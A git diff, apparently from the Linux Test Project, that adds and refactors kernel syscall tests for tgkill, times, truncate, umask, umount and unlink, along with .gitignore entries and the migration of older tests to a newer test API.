+	TST_CHECKPOINT_WAIT(0);
+
+	TEST(sys_tgkill(getpid(), tid, SIGRTMIN));
+	if (TST_RET && TST_ERR == EAGAIN)
+		tst_res(TPASS, "tgkill() failed with EAGAIN as expected");
+	else
+		tst_res(TFAIL | TTERRNO,
+			"tgkill() should have failed with EAGAIN");
+
+	TST_CHECKPOINT_WAKE(0);
+
+	SAFE_PTHREAD_JOIN(thread, NULL);
+}
+
+static struct tst_test test = {
+	.needs_checkpoints = 1,
+	.test_all = run,
+};
diff --git a/testcases/kernel/syscalls/tgkill/tgkill03.c b/testcases/kernel/syscalls/tgkill/tgkill03.c
new file mode 100644
index 0000000..6a54ac5
--- /dev/null
+++ b/testcases/kernel/syscalls/tgkill/tgkill03.c
@@ -0,0 +1,113 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2018 Google, Inc.
+ *
+ * Test simple tgkill() error cases.
+ */
+
+#include <pthread.h>
+#include <pwd.h>
+#include <sys/types.h>
+
+#include "tst_safe_pthread.h"
+#include "tst_test.h"
+#include "tgkill.h"
+
+static pthread_t child_thread;
+
+static pid_t parent_tgid;
+static pid_t parent_tid;
+static pid_t child_tid;
+static pid_t defunct_tid;
+
+static const int invalid_pid = -1;
+
+static void *child_thread_func(void *arg)
+{
+	child_tid = sys_gettid();
+
+	TST_CHECKPOINT_WAKE_AND_WAIT(0);
+
+	return arg;
+}
+
+static void *defunct_thread_func(void *arg)
+{
+	defunct_tid = sys_gettid();
+
+	return arg;
+}
+
+static void setup(void)
+{
+	sigset_t sigusr1;
+	pthread_t defunct_thread;
+
+	sigemptyset(&sigusr1);
+	sigaddset(&sigusr1, SIGUSR1);
+	pthread_sigmask(SIG_BLOCK, &sigusr1, NULL);
+
+	parent_tgid = getpid();
+	parent_tid = sys_gettid();
+
+	SAFE_PTHREAD_CREATE(&child_thread, NULL, child_thread_func, NULL);
+
+	TST_CHECKPOINT_WAIT(0);
+
+	SAFE_PTHREAD_CREATE(&defunct_thread, NULL, defunct_thread_func, NULL);
+
+	SAFE_PTHREAD_JOIN(defunct_thread, NULL);
+}
+
+static void cleanup(void)
+{
+	TST_CHECKPOINT_WAKE(0);
+
+	SAFE_PTHREAD_JOIN(child_thread, NULL);
+}
+
+static const struct testcase {
+	const char *desc;
+	const int *tgid;
+	const int *tid;
+	const int sig;
+	const int err;
+} testcases[] = {
+	{ "Invalid tgid", &invalid_pid, &parent_tid, SIGUSR1, EINVAL },
+	{ "Invalid tid", &parent_tgid, &invalid_pid, SIGUSR1, EINVAL },
+	{ "Invalid signal", &parent_tgid, &parent_tid, -1, EINVAL },
+/* b/112483690
+ *	{ "Defunct tid", &parent_tgid, &defunct_tid, SIGUSR1, ESRCH },
+ */
+	{ "Defunct tgid", &defunct_tid, &child_tid, SIGUSR1, ESRCH },
+	{ "Valid tgkill call", &parent_tgid, &child_tid, SIGUSR1, 0 },
+};
+
+static void run(unsigned int i)
+{
+	const struct testcase *tc = &testcases[i];
+
+	TEST(sys_tgkill(*tc->tgid, *tc->tid, tc->sig));
+	if (tc->err) {
+		if (TST_RET < 0 && TST_ERR == tc->err)
+			tst_res(TPASS | TTERRNO, "%s failed as expected",
+				tc->desc);
+		else
+			tst_res(TFAIL | TTERRNO,
+				"%s should have failed with %s", tc->desc,
+				tst_strerrno(tc->err));
+	} else {
+		if (TST_RET == 0)
+			tst_res(TPASS, "%s succeeded", tc->desc);
+		else
+			tst_res(TFAIL | TTERRNO, "%s failed", tc->desc);
+	}
+}
+
+static struct tst_test test = {
+	.tcnt = ARRAY_SIZE(testcases),
+	.needs_checkpoints = 1,
+	.setup = setup,
+	.cleanup = cleanup,
+	.test = run,
+};
diff --git a/testcases/kernel/syscalls/time/.gitignore b/testcases/kernel/syscalls/time/.gitignore
new file mode 100644
index 0000000..01da407
--- /dev/null
+++ b/testcases/kernel/syscalls/time/.gitignore
@@ -0,0 +1,2 @@
+/time01
+/time02
diff --git a/testcases/kernel/syscalls/timer_getoverrun/.gitignore b/testcases/kernel/syscalls/timer_getoverrun/.gitignore
new file mode 100644
index 0000000..e671f6f
--- /dev/null
+++ b/testcases/kernel/syscalls/timer_getoverrun/.gitignore
@@ -0,0 +1 @@
+/timer_getoverrun01
diff --git a/testcases/kernel/syscalls/timer_gettime/.gitignore b/testcases/kernel/syscalls/timer_gettime/.gitignore
new file mode 100644
index 0000000..0129e2c
--- /dev/null
+++ b/testcases/kernel/syscalls/timer_gettime/.gitignore
@@ -0,0 +1 @@
+/timer_gettime01
diff --git a/testcases/kernel/syscalls/timerfd/.gitignore b/testcases/kernel/syscalls/timerfd/.gitignore
new file mode 100644
index 0000000..e5c819c
--- /dev/null
+++ b/testcases/kernel/syscalls/timerfd/.gitignore
@@ -0,0 +1,6 @@
+/timerfd01
+/timerfd02
+/timerfd03
+/timerfd_create01
+/timerfd_gettime01
+/timerfd_settime01
diff --git a/testcases/kernel/syscalls/times/.gitignore b/testcases/kernel/syscalls/times/.gitignore
new file mode 100644
index 0000000..1bea2d1
--- /dev/null
+++ b/testcases/kernel/syscalls/times/.gitignore
@@ -0,0 +1,2 @@
+/times01
+/times03
diff --git a/testcases/kernel/syscalls/times/times03.c b/testcases/kernel/syscalls/times/times03.c
index 78d72d2..7911c03 100644
--- a/testcases/kernel/syscalls/times/times03.c
+++ b/testcases/kernel/syscalls/times/times03.c
@@ -96,15 +96,15 @@
 	if (times(&buf1) == -1)
 		tst_brk(TBROK | TERRNO, "times()");
 
-	if (buf1.tms_utime != 0)
+	if (buf1.tms_utime > 5)
 		tst_res(TFAIL, "buf1.tms_utime = %li", buf1.tms_utime);
 	else
-		tst_res(TPASS, "buf1.tms_utime = 0");
+		tst_res(TPASS, "buf1.tms_utime <= 5");
 
-	if (buf1.tms_stime != 0)
+	if (buf1.tms_stime > 5)
 		tst_res(TFAIL, "buf1.tms_stime = %li", buf1.tms_stime);
 	else
-		tst_res(TPASS, "buf1.tms_stime = 0");
+		tst_res(TPASS, "buf1.tms_stime <= 5");
 
 	generate_utime();
 	generate_stime();
diff --git a/testcases/kernel/syscalls/tkill/.gitignore b/testcases/kernel/syscalls/tkill/.gitignore
new file mode 100644
index 0000000..6f5c57e
--- /dev/null
+++ b/testcases/kernel/syscalls/tkill/.gitignore
@@ -0,0 +1,2 @@
+/tkill01
+/tkill02
diff --git a/testcases/kernel/syscalls/truncate/.gitignore b/testcases/kernel/syscalls/truncate/.gitignore
new file mode 100644
index 0000000..b0efbc2
--- /dev/null
+++ b/testcases/kernel/syscalls/truncate/.gitignore
@@ -0,0 +1,6 @@
+/truncate01
+/truncate01_64
+/truncate02
+/truncate02_64
+/truncate03
+/truncate03_64
diff --git a/testcases/kernel/syscalls/truncate/truncate02.c b/testcases/kernel/syscalls/truncate/truncate02.c
index 4cbf0e4..7a201ee 100644
--- a/testcases/kernel/syscalls/truncate/truncate02.c
+++ b/testcases/kernel/syscalls/truncate/truncate02.c
@@ -100,7 +100,7 @@
 	off_t file_length2;	/* test file length */
 	off_t file_length1;	/* test file length */
 	int rbytes;		/* bytes read from testfile */
-	int read_len = 0;	/* total no. of bytes read from testfile */
+	int read_len;		/* total no. of bytes read from testfile */
 	int err_flag = 0;	/* error indicator flag */
 
 	tst_parse_opts(ac, av, NULL, NULL);
@@ -110,6 +110,7 @@
 	for (lc = 0; TEST_LOOPING(lc); lc++) {
 
 		tst_count = 0;
+		read_len = 0;
 
 		/*
 		 * Call truncate(2) to truncate a test file to a
diff --git a/testcases/kernel/syscalls/truncate/truncate03.c b/testcases/kernel/syscalls/truncate/truncate03.c
index 0aa7b3e..401c16a 100644
--- a/testcases/kernel/syscalls/truncate/truncate03.c
+++ b/testcases/kernel/syscalls/truncate/truncate03.c
@@ -76,10 +76,7 @@
 } test_cases[] = {
 	{ TEST_FILE1, TRUNC_LEN, EACCES },
 	{ TEST_FILE2, TRUNC_LEN, ENOTDIR },
-#if !defined(UCLINUX)
 	{ NULL, TRUNC_LEN, EFAULT },
-	{ (char *)-1, TRUNC_LEN, EFAULT },
-#endif
 	{ long_pathname, TRUNC_LEN, ENAMETOOLONG },
 	{ "", TRUNC_LEN, ENOENT },
 	{ TEST_DIR1, TRUNC_LEN, EISDIR },
@@ -117,9 +114,9 @@
 void setup(void)
 {
 	struct passwd *ltpuser;
-	char *bad_addr;
 	struct rlimit rlim;
 	sigset_t signalset;
+	int n;
 
 	tst_sig(NOFORK, DEF_HANDLER, cleanup);
 
@@ -136,14 +133,6 @@
 
 	SAFE_TOUCH(cleanup, "t_file", FILE_MODE, NULL);
 
-#if !defined(UCLINUX)
-	test_cases[2].pathname = (char *)get_high_address();
-
-	bad_addr = SAFE_MMAP(cleanup, 0, 1, PROT_NONE,
-			MAP_PRIVATE_EXCEPT_UCLINUX | MAP_ANONYMOUS, 0, 0);
-	test_cases[3].pathname = bad_addr;
-#endif
-
 	memset(long_pathname, 'a', PATH_MAX + 1);
 
 	SAFE_MKDIR(cleanup, TEST_DIR1, DIR_MODE);
@@ -162,6 +151,12 @@
 	TEST(sigprocmask(SIG_BLOCK, &signalset, NULL));
 	if (TEST_RETURN != 0)
 		tst_brkm(TBROK | TTERRNO, cleanup, "sigprocmask");
+
+	for (n = 0; n < TST_TOTAL; n++) {
+		if (!test_cases[n].pathname)
+			test_cases[n].pathname = tst_get_bad_addr(cleanup);
+	}
+
 }
 
 void truncate_verify(struct test_case_t *tc)
diff --git a/testcases/kernel/syscalls/ulimit/.gitignore b/testcases/kernel/syscalls/ulimit/.gitignore
new file mode 100644
index 0000000..1961d2c
--- /dev/null
+++ b/testcases/kernel/syscalls/ulimit/.gitignore
@@ -0,0 +1 @@
+/ulimit01
diff --git a/testcases/kernel/syscalls/umask/.gitignore b/testcases/kernel/syscalls/umask/.gitignore
new file mode 100644
index 0000000..ff72a9f
--- /dev/null
+++ b/testcases/kernel/syscalls/umask/.gitignore
@@ -0,0 +1 @@
+/umask01
diff --git a/testcases/kernel/syscalls/umask/umask01.c b/testcases/kernel/syscalls/umask/umask01.c
index ee80624..87bfcdc 100644
--- a/testcases/kernel/syscalls/umask/umask01.c
+++ b/testcases/kernel/syscalls/umask/umask01.c
@@ -39,15 +39,15 @@
 
 	for (mskval = 0000; mskval < 01000; mskval++) {
 		TEST(umask(mskval));
-		if (TEST_RETURN < 0 || TEST_RETURN > 0777) {
+		if (TST_RET < 0 || TST_RET > 0777) {
 			tst_brk(TFAIL, "umask(%o) result outside range %ld",
-				mskval, TEST_RETURN);
+				mskval, TST_RET);
 		}
 
-		if (mskval > 0000 && TEST_RETURN != mskval - 1) {
+		if (mskval > 0000 && TST_RET != mskval - 1) {
 			failflag = 1;
 			tst_res(TFAIL, "umask(%o) returned %ld, expected %d",
-				mskval, TEST_RETURN, mskval - 1);
+				mskval, TST_RET, mskval - 1);
 		}
 
 		fd = SAFE_CREAT("testfile", 0777);
diff --git a/testcases/kernel/syscalls/umount/.gitignore b/testcases/kernel/syscalls/umount/.gitignore
new file mode 100644
index 0000000..498484a
--- /dev/null
+++ b/testcases/kernel/syscalls/umount/.gitignore
@@ -0,0 +1,3 @@
+/umount01
+/umount02
+/umount03
diff --git a/testcases/kernel/syscalls/umount/umount01.c b/testcases/kernel/syscalls/umount/umount01.c
index 80a80c9..b959356 100644
--- a/testcases/kernel/syscalls/umount/umount01.c
+++ b/testcases/kernel/syscalls/umount/umount01.c
@@ -38,13 +38,13 @@
 
 	TEST(umount(MNTPOINT));
 
-	if (TEST_RETURN != 0 && TEST_ERRNO == EBUSY) {
+	if (TST_RET != 0 && TST_ERR == EBUSY) {
 		tst_res(TINFO, "umount() Failed with EBUSY "
 			"possibly some daemon (gvfsd-trash) "
 			"is probing newly mounted dirs");
 	}
 
-	if (TEST_RETURN != 0) {
+	if (TST_RET != 0) {
 		tst_res(TFAIL | TTERRNO, "umount() Failed");
 		return;
 	}
diff --git a/testcases/kernel/syscalls/umount/umount02.c b/testcases/kernel/syscalls/umount/umount02.c
index 5bcd17d..ad8783e 100644
--- a/testcases/kernel/syscalls/umount/umount02.c
+++ b/testcases/kernel/syscalls/umount/umount02.c
@@ -57,12 +57,12 @@
 
 	TEST(umount(tc->mntpoint));
 
-	if (TEST_RETURN != -1) {
+	if (TST_RET != -1) {
 		tst_res(TFAIL, "umount() succeeds unexpectedly");
 		return;
 	}
 
-	if (tc->exp_errno != TEST_ERRNO) {
+	if (tc->exp_errno != TST_ERR) {
 		tst_res(TFAIL | TTERRNO, "umount() should fail with %s",
 			tst_strerrno(tc->exp_errno));
 		return;
diff --git a/testcases/kernel/syscalls/umount/umount03.c b/testcases/kernel/syscalls/umount/umount03.c
index abff0ce..3042aea 100644
--- a/testcases/kernel/syscalls/umount/umount03.c
+++ b/testcases/kernel/syscalls/umount/umount03.c
@@ -35,12 +35,12 @@
 {
 	TEST(umount(MNTPOINT));
 
-	if (TEST_RETURN != -1) {
+	if (TST_RET != -1) {
 		tst_res(TFAIL, "umount() succeeds unexpectedly");
 		return;
 	}
 
-	if (TEST_ERRNO != EPERM) {
+	if (TST_ERR != EPERM) {
 		tst_res(TFAIL | TTERRNO, "umount() should fail with EPERM");
 		return;
 	}
diff --git a/testcases/kernel/syscalls/umount2/.gitignore b/testcases/kernel/syscalls/umount2/.gitignore
new file mode 100644
index 0000000..1d6a0e8
--- /dev/null
+++ b/testcases/kernel/syscalls/umount2/.gitignore
@@ -0,0 +1,3 @@
+/umount2_01
+/umount2_02
+/umount2_03
diff --git a/testcases/kernel/syscalls/uname/.gitignore b/testcases/kernel/syscalls/uname/.gitignore
new file mode 100644
index 0000000..4f153e7
--- /dev/null
+++ b/testcases/kernel/syscalls/uname/.gitignore
@@ -0,0 +1,4 @@
+/uname01
+/uname02
+/uname03
+/uname04
diff --git a/testcases/kernel/syscalls/uname/Makefile b/testcases/kernel/syscalls/uname/Makefile
index bd617d8..eceaa64 100644
--- a/testcases/kernel/syscalls/uname/Makefile
+++ b/testcases/kernel/syscalls/uname/Makefile
@@ -20,4 +20,6 @@
 
 include $(top_srcdir)/include/mk/testcases.mk
 
+uname04:	CFLAGS += -D_GNU_SOURCE
+
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/cve/cve-2012-0957.c b/testcases/kernel/syscalls/uname/uname04.c
similarity index 100%
rename from testcases/cve/cve-2012-0957.c
rename to testcases/kernel/syscalls/uname/uname04.c
diff --git a/testcases/kernel/syscalls/unlink/.gitignore b/testcases/kernel/syscalls/unlink/.gitignore
new file mode 100644
index 0000000..2e78358
--- /dev/null
+++ b/testcases/kernel/syscalls/unlink/.gitignore
@@ -0,0 +1,3 @@
+/unlink05
+/unlink07
+/unlink08
diff --git a/testcases/kernel/syscalls/unlink/unlink05.c b/testcases/kernel/syscalls/unlink/unlink05.c
index aa49316..8d10052 100644
--- a/testcases/kernel/syscalls/unlink/unlink05.c
+++ b/testcases/kernel/syscalls/unlink/unlink05.c
@@ -1,209 +1,80 @@
 /*
  * Copyright (c) 2000 Silicon Graphics, Inc.  All Rights Reserved.
  *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
  *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
  *
- * Further, this software is distributed without any warranty that it is
- * free of the rightful claim of any third person regarding infringement
- * or the like.  Any license provided herein, whether implied or
- * otherwise, applies only to this software file.  Patent licenses, if
- * any, provided herein do not apply to combinations of this program with
- * other software, or any other product whatsoever.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
- * Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy,
- * Mountain View, CA  94043, or:
- *
- * http://www.sgi.com
- *
- * For further information regarding this notice, see:
- *
- * http://oss.sgi.com/projects/GenInfo/NoticeExplan/
- *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
  */
-/* $Id: unlink05.c,v 1.6 2009/11/02 13:57:19 subrata_modak Exp $ */
-/**********************************************************
- *
- *    OS Test - Silicon Graphics, Inc.
- *
- *    TEST IDENTIFIER	: unlink05
- *
- *    EXECUTED BY	: anyone
- *
- *    TEST TITLE	: Basic test for unlink(2)
- *
- *    PARENT DOCUMENT	: usctpl01
- *
- *    TEST CASE TOTAL	: 1
- *
- *    WALL CLOCK TIME	: 1
- *
- *    CPU TYPES		: ALL
- *
- *    AUTHOR		: William Roske
- *
- *    CO-PILOT		: Dave Fenner
- *
- *    DATE STARTED	: 03/30/92
- *
- *    INITIAL RELEASE	: UNICOS 7.0
- *
- *    TEST CASES
- *
- * 	1.) unlink(2) returns...(See Description)
- *
- *    INPUT SPECIFICATIONS
- * 	The standard options for system call tests are accepted.
- *	(See the parse_opts(3) man page).
- *
- *    OUTPUT SPECIFICATIONS
- *$
- *    DURATION
- * 	Terminates - with frequency and infinite modes.
- *
- *    SIGNALS
- * 	Uses SIGUSR1 to pause before test if option set.
- * 	(See the parse_opts(3) man page).
- *
- *    RESOURCES
- * 	None
- *
- *    ENVIRONMENTAL NEEDS
- *      No run-time environmental needs.
- *
- *    SPECIAL PROCEDURAL REQUIREMENTS
- * 	None
- *
- *    INTERCASE DEPENDENCIES
- * 	None
- *
- *    DETAILED DESCRIPTION
- *	This is a Phase I test for the unlink(2) system call.  It is intended
- *	to provide a limited exposure of the system call, for now.  It
- *	should/will be extended when full functional tests are written for
- *	unlink(2).
- *
- * 	Setup:
- * 	  Setup signal handling.
- *	  Pause for SIGUSR1 if option specified.
- *
- * 	Test:
- *	 Loop if the proper options are given.
- * 	  Execute system call
- *	  Check return code, if system call failed (return=-1)
- *		Log the errno and Issue a FAIL message.
- *	  Otherwise, Issue a PASS message.
- *
- * 	Cleanup:
- * 	  Print errno log and/or timing stats if options given
- *
- *
- *#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#**/
 
-#include <sys/types.h>
-#include <fcntl.h>
+/*
+ * Description:
+ * The testcase checks the basic functionality of the unlink(2).
+ * 1) unlink() can delete regular file successfully.
+ * 2) unlink() can delete fifo file successfully.
+ */
+
 #include <errno.h>
-#include <string.h>
-#include <signal.h>
-#include "test.h"
+#include <sys/types.h>
+#include <unistd.h>
+#include <stdio.h>
+#include "tst_test.h"
 
-void setup();
-void cleanup();
-void create_file();
+static void file_create(char *);
+static void fifo_create(char *);
 
-char *TCID = "unlink05";
-int TST_TOTAL = 1;
+static struct test_case_t {
+	void (*setupfunc)(char *);
+	char *desc;
+} tcases[] = {
+	{file_create, "file"},
+	{fifo_create, "fifo"},
+};
 
-char fname[255];
-int fd;
-
-int main(int ac, char **av)
+static void file_create(char *name)
 {
-	int lc;
+	sprintf(name, "tfile_%d", getpid());
+	SAFE_TOUCH(name, 0777, NULL);
+}
 
-    /***************************************************************
-     * parse standard options
-     ***************************************************************/
-	tst_parse_opts(ac, av, NULL, NULL);
+static void fifo_create(char *name)
+{
+	sprintf(name, "tfifo_%d", getpid());
+	SAFE_MKFIFO(name, 0777);
+}
 
-    /***************************************************************
-     * perform global setup for test
-     ***************************************************************/
-	setup();
+static void verify_unlink(unsigned int n)
+{
+	char fname[255];
+	struct test_case_t *tc = &tcases[n];
 
-    /***************************************************************
-     * check looping state if -c option given
-     ***************************************************************/
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
+	tc->setupfunc(fname);
 
-		tst_count = 0;
-
-		/*
-		 *  Call unlink(2)
-		 */
-		TEST(unlink(fname));
-
-		/* check return code */
-		if (TEST_RETURN == -1) {
-			tst_resm(TFAIL, "unlink(%s) Failed, errno=%d : %s",
-				 fname, TEST_ERRNO, strerror(TEST_ERRNO));
-		} else {
-			tst_resm(TPASS, "unlink(%s) returned %ld",
-				 fname, TEST_RETURN);
-			/* recreate file for next loop */
-			create_file();
-		}
+	TEST(unlink(fname));
+	if (TST_RET == -1) {
+		tst_res(TFAIL | TTERRNO, "unlink(%s) failed", tc->desc);
+		return;
 	}
 
-	cleanup();
-	tst_exit();
-}
-
-/***************************************************************
- * setup() - performs all ONE TIME setup for this test.
- ***************************************************************/
-void setup(void)
-{
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	tst_tmpdir();
-
-	create_file();
-}
-
-/***************************************************************
- * cleanup() - performs all ONE TIME cleanup for this test at
- *		completion or premature exit.
- ***************************************************************/
-void cleanup(void)
-{
-
-	tst_rmdir();
-
-}
-
-void create_file(void)
-{
-	sprintf(fname, "tfile_%d", getpid());
-	if ((fd = open(fname, O_RDWR | O_CREAT, 0700)) == -1) {
-		tst_brkm(TBROK, cleanup,
-			 "open(%s, O_RDWR|O_CREAT,0700) Failed, errno=%d : %s",
-			 fname, errno, strerror(errno));
+	if (!access(fname, F_OK)) {
+		tst_res(TFAIL, "unlink(%s) succeeded, but %s still existed",
+			tc->desc, tc->desc);
+		return;
 	}
-	if (close(fd) == -1) {
-		tst_resm(TWARN, "close(%s) Failed, errno=%d : %s",
-			 fname, errno, strerror(errno));
-	}
+
+	tst_res(TPASS, "unlink(%s) succeeded", tc->desc);
 }
+
+static struct tst_test test = {
+	.needs_tmpdir = 1,
+	.tcnt = ARRAY_SIZE(tcases),
+	.test = verify_unlink,
+};
diff --git a/testcases/kernel/syscalls/unlink/unlink06.c b/testcases/kernel/syscalls/unlink/unlink06.c
deleted file mode 100644
index 0e38480..0000000
--- a/testcases/kernel/syscalls/unlink/unlink06.c
+++ /dev/null
@@ -1,215 +0,0 @@
-/*
- * Copyright (c) 2000 Silicon Graphics, Inc.  All Rights Reserved.
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * Further, this software is distributed without any warranty that it is
- * free of the rightful claim of any third person regarding infringement
- * or the like.  Any license provided herein, whether implied or
- * otherwise, applies only to this software file.  Patent licenses, if
- * any, provided herein do not apply to combinations of this program with
- * other software, or any other product whatsoever.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
- * Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy,
- * Mountain View, CA  94043, or:
- *
- * http://www.sgi.com
- *
- * For further information regarding this notice, see:
- *
- * http://oss.sgi.com/projects/GenInfo/NoticeExplan/
- *
- */
-/* $Id: unlink06.c,v 1.5 2009/11/02 13:57:19 subrata_modak Exp $ */
-/**********************************************************
- *
- *    OS Test - Silicon Graphics, Inc.
- *
- *    TEST IDENTIFIER	: unlink06
- *
- *    EXECUTED BY	: anyone
- *
- *    TEST TITLE	: unlink(2) of a FIFO
- *
- *    PARENT DOCUMENT	: usctpl01
- *
- *    TEST CASE TOTAL	: 1
- *
- *    WALL CLOCK TIME	: 1
- *
- *    CPU TYPES		: ALL
- *
- *    AUTHOR		: Richard Logan
- *
- *    CO-PILOT		: William Roske
- *
- *    DATE STARTED	: 03/30/94
- *
- *    INITIAL RELEASE	: UNICOS 7.0
- *
- *    TEST CASES
- *
- * 	1.) unlink(2) returns...(See Description)
- *
- *    INPUT SPECIFICATIONS
- * 	The standard options for system call tests are accepted.
- *	(See the parse_opts(3) man page).
- *
- *    OUTPUT SPECIFICATIONS
- *$
- *    DURATION
- * 	Terminates - with frequency and infinite modes.
- *
- *    SIGNALS
- * 	Uses SIGUSR1 to pause before test if option set.
- * 	(See the parse_opts(3) man page).
- *
- *    RESOURCES
- * 	None
- *
- *    ENVIRONMENTAL NEEDS
- *      No run-time environmental needs.
- *
- *    SPECIAL PROCEDURAL REQUIREMENTS
- * 	None
- *
- *    INTERCASE DEPENDENCIES
- * 	None
- *
- *    DETAILED DESCRIPTION
- *	This is a Phase I test for the unlink(2) system call.  It is intended
- *	to provide a limited exposure of the system call, for now.  It
- *	should/will be extended when full functional tests are written for
- *	unlink(2).
- *
- * 	Setup:
- * 	  Setup signal handling.
- *	  Pause for SIGUSR1 if option specified.
- *
- * 	Test:
- *	 Loop if the proper options are given.
- * 	  Execute system call
- *	  Check return code, if system call failed (return=-1)
- *		Log the errno and Issue a FAIL message.
- *	  Otherwise, Issue a PASS message.
- *
- * 	Cleanup:
- * 	  Print errno log and/or timing stats if options given
- *
- *
- *#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#**/
-
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <fcntl.h>
-#include <errno.h>
-#include <string.h>
-#include <signal.h>
-#include <unistd.h>
-#include "test.h"
-#include "safe_macros.h"
-
-void setup();
-void create_file();
-void cleanup();
-
-char *TCID = "unlink06";
-int TST_TOTAL = 1;
-
-char Fname[255];
-
-/***********************************************************************
- * Main
- ***********************************************************************/
-int main(int ac, char **av)
-{
-	int lc;
-
-    /***************************************************************
-     * parse standard options
-     ***************************************************************/
-	tst_parse_opts(ac, av, NULL, NULL);
-
-    /***************************************************************
-     * perform global setup for test
-     ***************************************************************/
-	setup();
-
-    /***************************************************************
-     * check looping state if -c option given
-     ***************************************************************/
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		create_file();
-
-		/*
-		 *  Call unlink(2)
-		 */
-		TEST(unlink(Fname));
-
-		/* check return code */
-		if (TEST_RETURN == -1) {
-			tst_resm(TFAIL, "unlink(%s) Failed, errno=%d : %s",
-				 Fname, TEST_ERRNO, strerror(TEST_ERRNO));
-		} else {
-			if (access(Fname, F_OK) != -1) {
-				tst_resm(TFAIL,
-					 "unlink(%s) returned %ld, but access says file still exists.",
-					 Fname, TEST_RETURN);
-			} else {
-				tst_resm(TPASS, "unlink(%s) returned %ld",
-					 Fname, TEST_RETURN);
-			}
-		}
-	}
-
-	cleanup();
-	tst_exit();
-}
-
-/***************************************************************
- * setup() - performs all ONE TIME setup for this test.
- ***************************************************************/
-void setup(void)
-{
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	tst_tmpdir();
-
-	sprintf(Fname, "fifo_unlink%d", getpid());
-
-}
-
-/***************************************************************
- * cleanup() - performs all ONE TIME cleanup for this test at
- *		completion or premature exit.
- ***************************************************************/
-void cleanup(void)
-{
-
-	tst_rmdir();
-
-}
-
-/******************************************************************
- *
- ******************************************************************/
-void create_file(void)
-{
-	SAFE_MKFIFO(cleanup, Fname, 0777);
-}
diff --git a/testcases/kernel/syscalls/unlink/unlink07.c b/testcases/kernel/syscalls/unlink/unlink07.c
index 66e4db8..04cd783 100644
--- a/testcases/kernel/syscalls/unlink/unlink07.c
+++ b/testcases/kernel/syscalls/unlink/unlink07.c
@@ -1,308 +1,90 @@
 /*
  * Copyright (c) 2000 Silicon Graphics, Inc.  All Rights Reserved.
  *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
  *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
  *
- * Further, this software is distributed without any warranty that it is
- * free of the rightful claim of any third person regarding infringement
- * or the like.  Any license provided herein, whether implied or
- * otherwise, applies only to this software file.  Patent licenses, if
- * any, provided herein do not apply to combinations of this program with
- * other software, or any other product whatsoever.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
- * Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy,
- * Mountain View, CA  94043, or:
- *
- * http://www.sgi.com
- *
- * For further information regarding this notice, see:
- *
- * http://oss.sgi.com/projects/GenInfo/NoticeExplan/
- *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
  */
-/* $Id: unlink07.c,v 1.8 2009/11/02 13:57:19 subrata_modak Exp $ */
-/**********************************************************
- *
- *    OS Test - Silicon Graphics, Inc.
- *
- *    TEST IDENTIFIER	: unlink07
- *
- *    EXECUTED BY	: anyone
- *
- *    TEST TITLE	: unlink(2) negative testcases
- *
- *    PARENT DOCUMENT	: usctpl01
- *
- *    TEST CASE TOTAL	: 1
- *
- *    WALL CLOCK TIME	: 1
- *
- *    CPU TYPES		: ALL
- *
- *    AUTHOR		: Richard Logan
- *
- *    CO-PILOT		: William Roske
- *
- *    DATE STARTED	: 03/30/94
- *
- *    INITIAL RELEASE	: UNICOS 7.0
- *
- *    TEST CASES
- *
- * 	1-8) See Testcases structure below.
- *
